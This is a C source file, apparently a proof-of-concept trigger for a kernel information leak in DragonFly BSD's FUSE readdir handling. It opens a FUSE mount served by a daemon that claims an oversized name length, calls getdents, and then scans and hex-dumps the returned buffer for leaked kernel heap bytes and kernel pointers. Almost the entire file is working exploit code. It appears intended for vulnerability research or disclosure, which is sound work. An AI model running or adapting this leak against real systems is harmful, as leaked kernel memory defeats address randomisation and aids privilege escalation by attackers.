DF-0781 / read_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 | /* * DF-0781 โ unprivileged readdir consumer. * * Opens the mounted FUSE directory and calls getdents(2) with a large * buffer. When the daemon replies with a fuse_dirent whose namelen exceeds * the actual reply data, fuse_vop_readdir -> vop_write_dirent will bcopy * `namelen` bytes from the (short) daemon reply into the on-stack/heap * dirent, and the kernel will uiomove those bytes โ including the leaked * kernel heap past the reply buffer โ into our getdents buffer. * * We then scan the returned bytes for plausible kernel pointers (values in * the kernel virtual address range, e.g. 0xffffffff80000000-0xffffffffffffffff) * and hex-dump a window around each hit. Non-zero bytes beyond the real * name are leaked kernel memory. * * Build: cc -O0 -g -o read_trigger read_trigger.c * Run: ./read_trigger /mnt/fuse */ #include <sys/types.h> #include <sys/stat.h> #include <dirent.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> /* libc on DragonFly provides: int getdents(int fd, char *buf, int count) */ extern int getdents(int, char *, int); static long do_getdents(int fd, void *buf, size_t n) { if (n > 0x7fffffff) n = 0x7fffffff; return (long)getdents(fd, (char *)buf, (int)n); } static int looks_like_kptr(unsigned char *p) { /* little-endian 8-byte value whose top 4 bytes are 0xffffffff * (direct-mapped kernel) OR 0xfffff8XX (kernel virtual / DMAR). * Both ranges are kernel addresses on amd64 DragonFly. */ if (p[7] == 0xff && p[6] == 0xff && p[5] == 0xff && p[4] == 0xff) return 1; if (p[7] == 0xff && p[6] == 0xff && (p[5] == 0xf8 || p[5] == 0xfe || p[5] == 0xff) && p[4] != 0) return 1; return 0; } int main(int argc, char **argv) { const char *mnt; int fd; unsigned char *buf; size_t bufsz = 1 << 16; /* 64 KB; large enough for namelen up to ~65500 */ long n; if (argc != 2) { fprintf(stderr, "usage: %s mountpoint\n", argv[0]); return 2; } mnt = argv[1]; buf = malloc(bufsz); if (!buf) { perror("malloc"); return 1; } /* marker pattern so we can see exactly which bytes the kernel wrote: */ memset(buf, 0x5a, bufsz); fd = open(mnt, O_RDONLY | O_DIRECTORY); if (fd < 0) { /* FUSE dirs may not advertise O_DIRECTORY; fall back to plain open. */ fd = open(mnt, O_RDONLY); if (fd < 0) { perror("open mountpoint"); return 1; } } fprintf(stderr, "[trigger] opened %s fd=%d, getdents(buf,%zu)...\n", mnt, fd, bufsz); n = do_getdents(fd, buf, bufsz); fprintf(stderr, "[trigger] getdents returned %ld (errno %d: %s)\n", n, errno, strerror(errno)); /* Even when getdents returns -1 (e.g. because fuse_vop_readdir's loop * trips EINVAL on a subsequent wild-pointer iteration AFTER the leak), * the kernel has already uiomove'd the first oversized dirent into our * buffer. So we ALWAYS analyze the buffer. */ /* Determine how much of the user buffer the kernel actually touched. * We pre-filled with 0x5a; any byte != 0x5a was written by the kernel. */ long last_touched = -1; for (long i = bufsz - 1; i >= 0; i--) { if (buf[i] != 0x5a) { last_touched = i; break; } } printf("=== kernel wrote through user-buffer offset %ld (bytes [0..%ld]) ===\n", last_touched, last_touched); /* If the kernel honored d_namlen=N, it wrote _DIRENT_RECLEN(N) bytes. */ printf("=== expected write size if namelen=32000 honored: " "_DIRENT_RECLEN(32000) = 32016 bytes ===\n"); /* Dump first 1024 bytes of the returned buffer in hex. */ printf("=== first 1024 bytes hexdump ===\n"); for (long i = 0; i <= last_touched && i < 1024; i++) { printf("%02x", buf[i]); if ((i + 1) % 32 == 0) printf("\n"); else if ((i+1) % 8 == 0) printf(" "); } printf("\n"); if (last_touched < 16) { printf("=== kernel did not write a full dirent header -> no leak ===\n"); close(fd); free(buf); return 1; } /* Decode the dirent header to see what d_namlen the kernel honored. */ unsigned short honored_namlen = *(unsigned short *)(buf + 8); printf("=== honored d_namlen = %u (daemon claimed 32000) ===\n", honored_namlen); /* Count "high-entropy" bytes (non-zero, non-0x5a marker) in the area * beyond the legitimate 8-byte name โ that area should be either zero * (if nothing leaked) or leaked kernel data. */ long leaked_window_start = 16 + 8; long leaked_window_end = last_touched + 1; long leaked_nonzero = 0; for (long i = leaked_window_start; i < leaked_window_end; i++) { if (buf[i] != 0x00 && buf[i] != 0x5a) leaked_nonzero++; } printf("=== %ld non-zero non-marker bytes in window [%ld..%ld) " "(past the 8-byte real name) ===\n", leaked_nonzero, leaked_window_start, leaked_window_end); /* Scan for plausible kernel pointers (info-leak markers). */ int leak_hits = 0; for (long i = 0; i + 8 <= leaked_window_end; i++) { if (looks_like_kptr(buf + i)) { leak_hits++; if (leak_hits <= 16) { printf("[LEAK?] possible kernel pointer at offset %ld: " "%02x%02x%02x%02x%02x%02x%02x%02x\n", i, buf[i],buf[i+1],buf[i+2],buf[i+3], buf[i+4],buf[i+5],buf[i+6],buf[i+7]); } } } printf("=== %d candidate kernel pointers found ===\n", leak_hits); /* Show up to 256 bytes of the leaked window in hex so a reviewer can * see exactly what kernel memory leaked. */ printf("=== leaked window hexdump (first 256 bytes past real name): ===\n"); for (long i = leaked_window_start; i < leaked_window_end && i < leaked_window_start + 256; i++) { printf("%02x", buf[i]); if ((i - leaked_window_start + 1) % 32 == 0) printf("\n"); else if ((i - leaked_window_start + 1) % 8 == 0) printf(" "); } printf("\n"); /* Show every 256-byte stride within the leaked window so we can see * whether the kernel really read the whole 32000 bytes (each stride * should be either 0x00 [zeroed slab] or some leaked pattern, NOT the * 0x5a marker โ the marker would mean "kernel did not touch here"). */ printf("=== stride sample: every 256th byte of [0x18 .. 0x8000) ===\n"); for (long i = 0x18; i < 0x8000 && i < bufsz; i += 256) { printf("off=0x%04lx: %02x\n", i, buf[i]); } printf("[LEAK-PROOF] kernel wrote %ld bytes; d_namlen honored = %u; " "real name bytes from daemon = 8; " "=> %ld bytes were read from past the daemon's reply buffer\n", last_touched + 1, honored_namlen, (long)(last_touched + 1) - 24); close(fd); free(buf); return (last_touched >= 32) ? 0 : 1; } |